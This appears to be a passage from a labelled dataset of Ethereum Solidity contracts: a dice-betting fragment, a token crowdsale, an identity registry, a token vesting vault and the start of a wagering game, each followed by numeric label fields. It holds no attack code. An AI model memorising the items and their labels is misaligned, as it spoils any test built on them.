emit DiceBet(bets[gameNumber].player, bets[gameNumber].amount, bets[gameNumber].blockNumber, bets[gameNumber].hexData, result, winValue, jackpotNumber, 100);
}
function resolveBet() public onlyBot {
uint i = 0;
for (uint k = resolve; k < bets.length; k++) {
uint8 modulo = uint8((bets[k].hexData[0] >> 4) & 0xF) * 10 + uint8(bets[k].hexData[0] & 0xF);
if (modulo == 0) {
modulo = 100;
}
if (bets[k].blockNumber <= (block.number - 1)) {
if (modulo == 100) {
etheRoll(k);
i++;
} else {
doBet(k);
i++;
}
} else {
break;
}
}
resolve += i;
}
function addBalance() public payable {}
function sendFunds(address beneficiary, uint amount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, amount);
} else {
emit FailedPayment(beneficiary, amount);
loans.push(Loan(beneficiary, amount));
}
}
function payLoan() public onlyBot {
uint pay = 0;
for (uint i = payLoan; i < loans.length; i++) {
if (loans[i].player.send(loans[i].amount)) {
emit Repayment(loans[i].player, loans[i].amount);
pay++;
} else {
break;
}
}
payLoan += pay;
}
function getLengthBets() public view returns (uint) {
return bets.length;
}
function toAddress(bytes _bytes, uint _start) internal pure returns (address) {
require(_bytes.length >= (_start + 20),"Wrong size!");
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
} | 1 | 3,272 |
pragma solidity ^0.4.18;
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
pragma solidity ^0.4.18;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is BurnableToken, Pausable {
address public icoContract;
function setIcoContract(address _icoContract) public onlyOwner {
require(_icoContract != address(0));
icoContract = _icoContract;
}
function removeIcoContract() public onlyOwner {
icoContract = address(0);
}
modifier whenNotPausedOrIcoContract() {
require(icoContract == msg.sender || !paused);
_;
}
function transfer(address _to, uint256 _value) public whenNotPausedOrIcoContract returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MintableToken is PausableToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract DetailedERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract MonsterBitToken is MintableToken, DetailedERC20 {
function MonsterBitToken() public DetailedERC20("MonsterBit", "MB", 18) {
}
}
contract Crowdsale {
using SafeMath for uint256;
MonsterBitToken public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event TokenSending(address indexed beneficiary, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, MonsterBitToken _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
function TimedCrowdsale(uint256 _rate, address _wallet, MonsterBitToken _token, uint256 _openingTime, uint256 _closingTime) public
Crowdsale(_rate, _wallet, _token)
{
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function FinalizableCrowdsale(uint256 _rate, address _wallet, MonsterBitToken _token, uint256 _openingTime, uint256 _closingTime) public
TimedCrowdsale(_rate, _wallet, _token, _openingTime, _closingTime)
{
}
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
token.burn(tokenBalance());
}
function tokenBalance() public view returns (uint256) {
return token.balanceOf(this);
}
}
contract MonsterTokenCrowdsale is FinalizableCrowdsale {
function MonsterTokenCrowdsale(uint256 _rate, address _wallet, address _token, uint256 _openingTime, uint256 _closingTime) public
FinalizableCrowdsale(_rate, _wallet, MonsterBitToken(_token), _openingTime, _closingTime) {
}
function setRate(uint256 newRate) public onlyOwner {
rate = newRate;
}
function sendTokens(address beneficiary, uint256 tokensAmount) public onlyOwner {
require(beneficiary != address(0));
_processPurchase(beneficiary, tokensAmount);
TokenSending(beneficiary, tokensAmount);
}
} | 0 | 608 |
pragma solidity ^0.4.23;
library StringUtils {
struct slice {
uint _len;
uint _ptr;
}
function toSlice(string self) internal pure returns (slice) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
function copy(slice self) internal pure returns (slice) {
return slice(self._len, self._ptr);
}
function toString(slice self) internal pure returns (string) {
string memory ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
function lower(string _base) internal pure returns (string) {
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
_baseBytes[i] = _lower(_baseBytes[i]);
}
return string(_baseBytes);
}
function _lower(bytes1 _b1) internal pure returns (bytes1) {
if (_b1 >= 0x41 && _b1 <= 0x5A) {
return bytes1(uint8(_b1) + 32);
}
return _b1;
}
function memcpy(uint dest, uint src, uint len) private pure {
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Withdrawable is Ownable {
function withdrawEther(address to) public onlyOwner {
to.transfer(address(this).balance);
}
function withdrawERC20Token(address tokenAddress, address to) public onlyOwner {
ERC20Basic token = ERC20Basic(tokenAddress);
token.transfer(to, token.balanceOf(address(this)));
}
}
contract RaindropClient is Withdrawable {
using StringUtils for string;
using StringUtils for StringUtils.slice;
event UserSignUp(string casedUserName, address userAddress, bool delegated);
event UserDeleted(string casedUserName);
address public hydroTokenAddress;
uint public minimumHydroStakeUser;
uint public minimumHydroStakeDelegatedUser;
struct User {
string casedUserName;
address userAddress;
bool delegated;
bool _initialized;
}
mapping (bytes32 => User) internal userDirectory;
mapping (address => bytes32) internal nameDirectory;
modifier requireStake(address _address, uint stake) {
ERC20Basic hydro = ERC20Basic(hydroTokenAddress);
require(hydro.balanceOf(_address) >= stake);
_;
}
function signUpDelegatedUser(string casedUserName, address userAddress, uint8 v, bytes32 r, bytes32 s)
public
requireStake(msg.sender, minimumHydroStakeDelegatedUser)
{
require(isSigned(userAddress, keccak256("Create RaindropClient Hydro Account"), v, r, s));
_userSignUp(casedUserName, userAddress, true);
}
function signUpUser(string casedUserName) public requireStake(msg.sender, minimumHydroStakeUser) {
return _userSignUp(casedUserName, msg.sender, false);
}
function deleteUser() public {
bytes32 uncasedUserNameHash = nameDirectory[msg.sender];
require(userDirectory[uncasedUserNameHash]._initialized);
string memory casedUserName = userDirectory[uncasedUserNameHash].casedUserName;
delete nameDirectory[msg.sender];
delete userDirectory[uncasedUserNameHash];
emit UserDeleted(casedUserName);
}
function setHydroTokenAddress(address _hydroTokenAddress) public onlyOwner {
hydroTokenAddress = _hydroTokenAddress;
}
function setMinimumHydroStakes(uint newMinimumHydroStakeUser, uint newMinimumHydroStakeDelegatedUser)
public onlyOwner
{
ERC20Basic hydro = ERC20Basic(hydroTokenAddress);
require(newMinimumHydroStakeUser <= (hydro.totalSupply() / 100 / 100));
require(newMinimumHydroStakeDelegatedUser <= (hydro.totalSupply() / 100 / 2));
minimumHydroStakeUser = newMinimumHydroStakeUser;
minimumHydroStakeDelegatedUser = newMinimumHydroStakeDelegatedUser;
}
function userNameTaken(string userName) public view returns (bool taken) {
bytes32 uncasedUserNameHash = keccak256(userName.lower());
return userDirectory[uncasedUserNameHash]._initialized;
}
function getUserByName(string userName) public view
returns (string casedUserName, address userAddress, bool delegated)
{
bytes32 uncasedUserNameHash = keccak256(userName.lower());
User storage _user = userDirectory[uncasedUserNameHash];
require(_user._initialized);
return (_user.casedUserName, _user.userAddress, _user.delegated);
}
function getUserByAddress(address _address) public view returns (string casedUserName, bool delegated) {
bytes32 uncasedUserNameHash = nameDirectory[_address];
User storage _user = userDirectory[uncasedUserNameHash];
require(_user._initialized);
return (_user.casedUserName, _user.delegated);
}
function isSigned(address _address, bytes32 messageHash, uint8 v, bytes32 r, bytes32 s) public pure returns (bool) {
return (_isSigned(_address, messageHash, v, r, s) || _isSignedPrefixed(_address, messageHash, v, r, s));
}
function _isSigned(address _address, bytes32 messageHash, uint8 v, bytes32 r, bytes32 s)
internal
pure
returns (bool)
{
return ecrecover(messageHash, v, r, s) == _address;
}
function _isSignedPrefixed(address _address, bytes32 messageHash, uint8 v, bytes32 r, bytes32 s)
internal
pure
returns (bool)
{
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes32 prefixedMessageHash = keccak256(prefix, messageHash);
return ecrecover(prefixedMessageHash, v, r, s) == _address;
}
function _userSignUp(string casedUserName, address userAddress, bool delegated) internal {
require(bytes(casedUserName).length < 50);
bytes32 uncasedUserNameHash = keccak256(casedUserName.toSlice().copy().toString().lower());
require(!userDirectory[uncasedUserNameHash]._initialized);
userDirectory[uncasedUserNameHash] = User(casedUserName, userAddress, delegated, true);
nameDirectory[userAddress] = uncasedUserNameHash;
emit UserSignUp(casedUserName, userAddress, delegated);
}
} | 1 | 3,582 |
pragma solidity ^0.4.18;
contract ERC20Interface {
function totalSupply() public constant returns (uint256 _totalSupply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BCV is ERC20Interface {
uint256 public constant decimals = 8;
string public constant symbol = "BCV";
string public constant name = "BitCapitalVendorToken";
uint256 public _totalSupply = 120000000000000000;
address public owner;
mapping(address => uint256) private balances;
mapping(address => mapping (address => uint256)) private allowed;
mapping(address => bool) private approvedInvestorList;
mapping(address => uint256) private deposit;
uint256 public totalTokenSold = 0;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
revert();
}
_;
}
function BCV()
public {
owner = msg.sender;
balances[owner] = _totalSupply;
}
function totalSupply()
public
constant
returns (uint256) {
return _totalSupply;
}
function balanceOf(address _addr)
public
constant
returns (uint256) {
return balances[_addr];
}
function isApprovedInvestor(address _addr)
public
constant
returns (bool) {
return approvedInvestorList[_addr];
}
function getDeposit(address _addr)
public
constant
returns(uint256){
return deposit[_addr];
}
function transfer(address _to, uint256 _amount)
public
returns (bool) {
if ( (balances[msg.sender] >= _amount) &&
(_amount >= 0) &&
(balances[_to] + _amount > balances[_to]) ) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
)
public
returns (bool success) {
if (balances[_from] >= _amount && _amount > 0 && allowed[_from][msg.sender] >= _amount) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount)
public
returns (bool success) {
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender)
public
constant
returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function () public payable{
revert();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BCVTokenVault is Ownable {
using SafeMath for uint256;
address public teamReserveWallet = 0x7e5C65b899Fb7Cd0c959e5534489B454B7c6c3dF;
address public lifeReserveWallet = 0xaed0363f76e4b906ef818b0f3199c580b5b01a43;
address public finanReserveWallet = 0xd60A1D84835006499d5E6376Eb7CB9725643E25F;
address public econReserveWallet = 0x0C6e75e481cC6Ba8e32d6eF742768fc2273b1Bf0;
address public developReserveWallet = 0x11aC32f89e874488890E5444723A644248609C0b;
uint256 public teamReserveAllocation = 2.4 * (10 ** 8) * (10 ** 8);
uint256 public lifeReserveAllocation = 1.2 * (10 ** 8) * (10 ** 8);
uint256 public finanReserveAllocation = 1.2 * (10 ** 8) * (10 ** 8);
uint256 public econReserveAllocation = 1.2 * (10 ** 8) * (10 ** 8);
uint256 public developReserveAllocation = 1.2 * (10 ** 8) * (10 ** 8);
uint256 public totalAllocation = 7.2 * (10 ** 8) * (10 ** 8);
uint256 public teamReserveTimeLock = 1552060800;
uint256 public lifeReserveTimeLock = 1527782400;
uint256 public finanReserveTimeLock = 1527782400;
uint256 public econReserveTimeLock = 1527782400;
uint256 public developReserveTimeLock = 1538236800;
uint256 public teamVestingStages = 34;
uint256 public lifeVestingStages = 5;
uint256 public finanVestingStages = 5;
uint256 public econVestingStages = 240;
mapping(address => uint256) public allocations;
mapping(address => uint256) public timeLocks;
mapping(address => uint256) public claimed;
uint256 public lockedAt = 0;
BCV public token;
event Allocated(address wallet, uint256 value);
event Distributed(address wallet, uint256 value);
event Locked(uint256 lockTime);
modifier onlyReserveWallets {
require(allocations[msg.sender] > 0);
_;
}
modifier onlyTeamReserve {
require(msg.sender == teamReserveWallet);
require(allocations[msg.sender] > 0);
require(allocations[msg.sender] > claimed[msg.sender]);
_;
}
modifier onlyTokenReserveLife {
require(msg.sender == lifeReserveWallet);
require(allocations[msg.sender] > 0);
require(allocations[msg.sender] > claimed[msg.sender]);
_;
}
modifier onlyTokenReserveFinance {
require(msg.sender == finanReserveWallet);
require(allocations[msg.sender] > 0);
require(allocations[msg.sender] > claimed[msg.sender]);
_;
}
modifier onlyTokenReserveEcon {
require(msg.sender == econReserveWallet);
require(allocations[msg.sender] > 0);
require(allocations[msg.sender] > claimed[msg.sender]);
_;
}
modifier onlyTokenReserveDevelop {
require(msg.sender == developReserveWallet);
require(allocations[msg.sender] > 0);
require(allocations[msg.sender] > claimed[msg.sender]);
_;
}
modifier notLocked {
require(lockedAt == 0);
_;
}
modifier locked {
require(lockedAt > 0);
_;
}
modifier notAllocated {
require(allocations[teamReserveWallet] == 0);
require(allocations[lifeReserveWallet] == 0);
require(allocations[finanReserveWallet] == 0);
require(allocations[econReserveWallet] == 0);
require(allocations[developReserveWallet] == 0);
_;
}
function BCVTokenVault(ERC20Interface _token) public {
owner = msg.sender;
token = BCV(_token);
}
function allocate() public notLocked notAllocated onlyOwner {
require(token.balanceOf(address(this)) == totalAllocation);
allocations[teamReserveWallet] = teamReserveAllocation;
allocations[lifeReserveWallet] = lifeReserveAllocation;
allocations[finanReserveWallet] = finanReserveAllocation;
allocations[econReserveWallet] = econReserveAllocation;
allocations[developReserveWallet] = developReserveAllocation;
Allocated(teamReserveWallet, teamReserveAllocation);
Allocated(lifeReserveWallet, lifeReserveAllocation);
Allocated(finanReserveWallet, finanReserveAllocation);
Allocated(econReserveWallet, econReserveAllocation);
Allocated(developReserveWallet, developReserveAllocation);
lock();
}
function lock() internal notLocked onlyOwner {
lockedAt = block.timestamp;
timeLocks[teamReserveWallet] = teamReserveTimeLock;
timeLocks[lifeReserveWallet] = lifeReserveTimeLock;
timeLocks[finanReserveWallet] = finanReserveTimeLock;
timeLocks[econReserveWallet] = econReserveTimeLock;
timeLocks[developReserveWallet] = developReserveTimeLock;
Locked(lockedAt);
}
function recoverFailedLock() external notLocked notAllocated onlyOwner {
require(token.transfer(owner, token.balanceOf(address(this))));
}
function getTotalBalance() public view returns (uint256 tokensCurrentlyInVault) {
return token.balanceOf(address(this));
}
function getLockedBalance() public view onlyReserveWallets returns (uint256 tokensLocked) {
return allocations[msg.sender].sub(claimed[msg.sender]);
}
function claimTeamReserve() onlyTeamReserve locked public {
address reserveWallet = msg.sender;
require(block.timestamp > timeLocks[reserveWallet]);
uint256 vestingStage = teamVestingStage();
uint256 totalUnlocked = vestingStage.mul(7.2 * (10 ** 6) * (10 ** 8));
if (vestingStage == 34) {
totalUnlocked = allocations[teamReserveWallet];
}
require(totalUnlocked <= allocations[teamReserveWallet]);
require(claimed[teamReserveWallet] < totalUnlocked);
uint256 payment = totalUnlocked.sub(claimed[teamReserveWallet]);
claimed[teamReserveWallet] = totalUnlocked;
require(token.transfer(teamReserveWallet, payment));
Distributed(teamReserveWallet, payment);
}
function teamVestingStage() public view onlyTeamReserve returns(uint256) {
uint256 nowTime = block.timestamp;
uint256 stage = (nowTime.sub(teamReserveTimeLock)).div(2592000);
if(stage > teamVestingStages) {
stage = teamVestingStages;
}
return stage;
}
function claimTokenReserveLife() onlyTokenReserveLife locked public {
address reserveWallet = msg.sender;
require(block.timestamp > timeLocks[reserveWallet]);
uint256 vestingStage = lifeVestingStage();
uint256 totalUnlocked = vestingStage.mul(2.4 * (10 ** 7) * (10 ** 8));
require(totalUnlocked <= allocations[lifeReserveWallet]);
require(claimed[lifeReserveWallet] < totalUnlocked);
uint256 payment = totalUnlocked.sub(claimed[lifeReserveWallet]);
claimed[lifeReserveWallet] = totalUnlocked;
require(token.transfer(reserveWallet, payment));
Distributed(reserveWallet, payment);
}
function lifeVestingStage() public view onlyTokenReserveLife returns(uint256) {
uint256 nowTime = block.timestamp;
uint256 stage = (nowTime.sub(lifeReserveTimeLock)).div(2592000);
if(stage > lifeVestingStages) {
stage = lifeVestingStages;
}
return stage;
}
function claimTokenReserveFinan() onlyTokenReserveFinance locked public {
address reserveWallet = msg.sender;
require(block.timestamp > timeLocks[reserveWallet]);
uint256 vestingStage = finanVestingStage();
uint256 totalUnlocked = vestingStage.mul(2.4 * (10 ** 7) * (10 ** 8));
require(totalUnlocked <= allocations[finanReserveWallet]);
require(claimed[finanReserveWallet] < totalUnlocked);
uint256 payment = totalUnlocked.sub(claimed[finanReserveWallet]);
claimed[finanReserveWallet] = totalUnlocked;
require(token.transfer(reserveWallet, payment));
Distributed(reserveWallet, payment);
}
function finanVestingStage() public view onlyTokenReserveFinance returns(uint256) {
uint256 nowTime = block.timestamp;
uint256 stage = (nowTime.sub(finanReserveTimeLock)).div(2592000);
if(stage > finanVestingStages) {
stage = finanVestingStages;
}
return stage;
}
function claimTokenReserveEcon() onlyTokenReserveEcon locked public {
address reserveWallet = msg.sender;
require(block.timestamp > timeLocks[reserveWallet]);
uint256 vestingStage = econVestingStage();
uint256 totalUnlocked;
if (vestingStage <= 72) {
totalUnlocked = vestingStage.mul(1200000 * (10 ** 8));
} else {
totalUnlocked = ((vestingStage.sub(72)).mul(200000 * (10 ** 8))).add(86400000 * (10 ** 8));
}
require(totalUnlocked <= allocations[econReserveWallet]);
require(claimed[econReserveWallet] < totalUnlocked);
uint256 payment = totalUnlocked.sub(claimed[econReserveWallet]);
claimed[econReserveWallet] = totalUnlocked;
require(token.transfer(reserveWallet, payment));
Distributed(reserveWallet, payment);
}
function econVestingStage() public view onlyTokenReserveEcon returns(uint256) {
uint256 nowTime = block.timestamp;
uint256 stage = (nowTime.sub(timeLocks[econReserveWallet])).div(2592000);
if(stage > econVestingStages) {
stage = econVestingStages;
}
return stage;
}
function claimTokenReserveDevelop() onlyTokenReserveDevelop locked public {
address reserveWallet = msg.sender;
require(block.timestamp > timeLocks[reserveWallet]);
require(claimed[reserveWallet] == 0);
uint256 payment = allocations[reserveWallet];
claimed[reserveWallet] = payment;
require(token.transfer(reserveWallet, payment));
Distributed(reserveWallet, payment);
}
function canCollect() public view onlyReserveWallets returns(bool) {
return block.timestamp > timeLocks[msg.sender] && claimed[msg.sender] == 0;
}
} | 0 | 1,930 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract ChronosAccessControl is Claimable, Pausable, CanReclaimToken {
address public cfoAddress;
function ChronosAccessControl() public {
cfoAddress = msg.sender;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
function setCFO(address _newCFO) external onlyOwner {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
}
contract ChronosBase is ChronosAccessControl {
using SafeMath for uint256;
bool public gameStarted;
address public gameStarter;
address public lastPlayer;
uint256 public lastWagerTimeoutTimestamp;
uint256 public timeout;
uint256 public nextTimeout;
uint256 public minimumTimeout;
uint256 public nextMinimumTimeout;
uint256 public numberOfWagersToMinimumTimeout;
uint256 public nextNumberOfWagersToMinimumTimeout;
uint256 public wagerIndex = 0;
function calculateTimeout() public view returns(uint256) {
if (wagerIndex >= numberOfWagersToMinimumTimeout || numberOfWagersToMinimumTimeout == 0) {
return minimumTimeout;
} else {
uint256 difference = timeout - minimumTimeout;
